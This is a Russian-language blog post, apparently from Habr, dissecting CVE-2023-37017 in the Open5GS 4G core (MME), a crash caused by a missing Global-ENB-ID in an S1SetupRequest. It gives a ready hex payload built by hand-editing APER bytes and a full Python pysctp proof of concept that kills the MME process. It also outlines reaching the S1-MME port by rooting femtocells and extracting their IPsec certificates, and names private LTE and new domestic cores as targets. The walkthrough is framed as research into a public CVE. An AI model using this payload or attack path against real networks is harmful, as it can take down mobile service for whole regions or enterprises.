Привет, Хабр!
Мир безопасности телекома для многих IT‑специалистов кажется закрытым клубом, спрятанным за проприетарными вендорами, дорогим оборудованием и тысячами страниц спецификаций 3GPP. Но порой, чтобы положить ядро мобильной сети целого региона не нужна квантовая физика, а достаточно базового понимания бинарных протоколов и одного вырезанного байтика.
В этой статье я расскажу, как я исследовал уязвимости в популярном open‑source ядре мобильной связи Open5GS и почему слепая вера в стандарты ломает код. Мы напишем изящный эксплойт, жонглируя битами в кодировке ASN.1 APER
Дыры в логике ядра
Полтора года назад ИБ‑сообщество всколыхнуло исследование RANsacked, в котором исследователи из Университета Флориды и Университета штата Северная Каролина профаззили популярные ядра мобильных сетей и выявили 119 уязвимостей.
На тот момент мне еще не доводилось погружаться в тему так глубоко, но ведь всяко лучше поздно, чем никогда, не так ли?
Так вот, меня заинтересовал вектор в 4G части ядра — компоненте MME (Mobility Management Entity). Уязвимость CVE-2023-37017 (VULN‑F16).
Прелесть ее в том, что нам вообще не нужно эмулировать абонента или SIM‑карту. Ядро будет атаковано от лица базовой станции и упадет от первого же приветственного пакета.

Анатомия ошибки
Разберем, почему вообще это возможно. В сетях LTE базовые станции общаются с ядром по протоколу S1AP. Когда вышка включается, она отправляет пакет S1SetupRequest. По строгим стандартам 3GPP в этом пакете обязательно должен присутствовать информационный элемент с уникальным идентификатором вышки — Global-ENB-ID.
Давайте посмотрим, как разработчики Open5GS (версии <= 2.6.4) обрабатывают этот пакет в исходном коде:
void s1ap_handle_s1_setup_request(mme_enb_t *enb, ogs_s1ap_message_t *message) { // ... ogs_debug("S1SetupRequest"); for (i = 0; i < S1SetupRequest->protocolIEs.list.count; i++) { ie = S1SetupRequest->protocolIEs.list.array[i]; switch (ie->id) { case S1AP_ProtocolIE_ID_id_Global_ENB_ID: Global_ENB_ID = &ie->value.choice.Global_ENB_ID; break; case S1AP_ProtocolIE_ID_id_SupportedTAs: SupportedTAs = &ie->value.choice.SupportedTAs; break; case S1AP_ProtocolIE_ID_id_DefaultPagingDRX: PagingDRX = &ie->value.choice.PagingDRX; break; default: break; } } // Фатальная ошибка здесь: ogs_assert(Global_ENB_ID); // ... }
Программисты сделали ложное допущение: «Раз стандарт требует этот элемент, и парсер пропустил пакет, значит этот элемент там точно есть».
Но если злоумышленник пришлет пакет, из которого этот блок будет намеренно удален, то переменная Global_ENB_ID останется NULL. Цикл завершится, вызовется ogs_assert(NULL), и процесс MME аварийно завершится. Ядро мертво.
Тестовый стенд
Для стенда я взял чистую Ubuntu 22.04 LTS и начал собирать уязвимую версию Open5GS v2.6.4 из исходников.
Первый сюрприз меня ждал даже не на сборке и запуске, а на этапе установки БД. Ядро Open5GS хранит профили абонентов в MongoDB, но начиная с версии Ubuntu 20.04 пакет mongodb-server исчез из официальных репозиториев из‑за смены лицензии, поэтому мне пришлось прописывать GPG‑ключи вручную и подтянуть mongodb-org напрямую от вендора. Без этого компоненты просто отказывались работать.
Архитектура 4G ядра требует, чтобы перед запуском MME была активна база данных абонентов — HSS (Home Subscriber Server), с которой MME общается по протоколу Diameter. Поэтому я сперва сбилдил Open5GS, а потом в двух окнах терминала последовательно запустил:
./install/bin/open5gs-hssd ./install/bin/open5gs-mmed
После успешной инициализации и подключения к базе, я получил рабочий локальный сервер MME, слушающий порт 36412 по протоколу SCTP в ожидании базовых станций.
Скальпелем по APER
Как собрать эксплойт и почему нельзя просто скачать pcap файл с трафиком, удалить кусок в hex‑редакторе и запустить через tcpreplay?
Во‑первых, SCTP — это stateful протокол. Он генерирует уникальные теги верификации для каждой сессии. Старый pcap‑файл не воспроизведется, поэтому нам нужен живой скрипт, открывающий сокет.
Во‑вторых, кодировка. S1AP использует ASN1.APER — Aligned Packet Encoding Rules. Это жесточайший бинарный формат. Что это значит? Если просто вырезать кусок байт, то парсер asn1c в ядре заметит несовпадение длин и отбросит пакет с ошибкой декодирования до того, как он попадет в уязвимую бизнес‑логику.
Поэтому я использовал встроенные тесты самого Open5GS, чтобы сгенерировать валидный легитимный трафик подключения вышки и абонента. Перехватив его в Wireshark, я вытащил эталонный пакет S1SetupRequest.
Оригинальная hex‑строка выглядит следующим образом: 0011001f000003003b00080099f9070054f640....
Разбираем заголовок 00 11 00 1f. В протоколе S1AP все начинается с корневой структуры S1AP-PDU.
00— Choice Index. Указывается на то, что этоinitiatingMessage— запрос.11— Procedure Code. Код процедуры17, что соответствуетid-S1Setup.00— Флаг критичности0—reject.1f— Длина вложенной структурыS1SetupRequest, которая идет следом. 31 байт.
Далее идет сама структура S1SetupRequest. Она начинается с байтов 00 00 03:
00— Это бит расширения + паддинг для выравнивания длины. APER требует, чтобы самый первый бит указывал, есть ли в пакете нестандартные расширения.0означает, что их нет. Оставшиеся 7 битов заполняются нулями для выравнивания по границе байта.00 03— Это длина контейнера элементов, означающая, что внутри будут 3 элемента. Поскольку по стандарту в пакете может быть до 65535 элементов, APER выделяет на этот счетчик ровно 2 байта.
Далее ищем обязательный элемент Global-ENB-ID, его ID по спецификации равно 59, а в hex 3b.
Вот он: 00 3b 00 08 00 99 f9 07 00 54 f6 40 — ровно 12 байт.

Теперь берем скальпель и вырезаем эти 12 байт. Но теперь нужно пересчитать длину, чтобы парсер пропустил пакет: 31 байт — 12 байт = 19 байт, в hex это 13. Заменяем 1f на 13. Пересчитываем количество элементов: было 3, а стало 2. Заменяем 00 00 03 на 00 00 02.
В итоге получился пэйлоад‑убийца:00110013000002004000070000004099f9070089400120.
Пишем PoC на Python
Для доставки будем использовать библиотеку pysctp. Она сама проведет корректный хэндшейк с MME, после чего мы отправим получившийся пакет.
import socket import sctp MME_IP = "127.0.0.2" MME_PORT = 36412 def main(): sk = sctp.sctpsocket_tcp(socket.AF_INET) print(f"[*] Подключение к ядру 4G (MME) {MME_IP}:{MME_PORT}...") sk.connect((MME_IP, MME_PORT)) # Пакет S1SetupRequest с удаленным обязательным элементом Global-ENB-ID malformed_s1_setup = bytes.fromhex( "00110013000002004000070000004099f9070089400120" ) print("[*] Отправка эксплойта...") sk.sctp_send(malformed_s1_setup) print("[+] Готово! Процесс MME завершился с ошибкой Assertion failed.") if __name__ == "__main__": main()
Один запуск скрипта — и процесс open5gs-mmed падает.

А что если как...
Предвижу ваш скепсис: «А что если отправить такой пакет на коммерческий MME мобильных операторов „Большой четверки“?»
На самом деле уронить федеральную сеть этим скриптом не выйдет. Коммерческие ядра проходят годы тестирования и фаззинга. Там проверка на NULL‑указатели — база.
Но значит ли это, что уязвимость не представляет угрозы? Отнюдь.
Пока крупные операторы используют защищенные коммерческие решения, рынок Private LTE тоже не стоит на месте. По моему личному мнению использование форков Open5GS для создания коробочных решений на небольших предприятиях — существующая практика. Ну а при возможном получении сертификатов ФСТЭК такой софт становится крайне неповоротливым в плане обновлений, что делает найденные 1-day уязвимости идеальным оружием для атак на промышленные технологические сети.
Другой момент: из‑за ухода западных вендоров, сейчас активно разрабатываются отечественные ядра мобильной связи. И поскольку код пишется практически с нуля, разработчики неизбежно будут наступать на те же самые грабли с парсингом ASN.1 и допущениями стандартов.
Но как дотянуться до порта?
Как злоумышленник отправит этот пакет, если интерфейс S1-MME спрятан глубоко в транспортной сети оператора?
Самый реалистичный вектор — взлом фемтосот. Операторы часто ставят мини‑вышки в офисах. Такая вышка строит защищенный IPsec‑туннель до шлюза оператора. Если получить root‑права на такой фемтосоте и извлечь сертификаты, то можно поднять легитимный VPN‑туннель прямо с ноутбука и получить прямую маршрутизацию до порта SCTP 36412 сервера MME.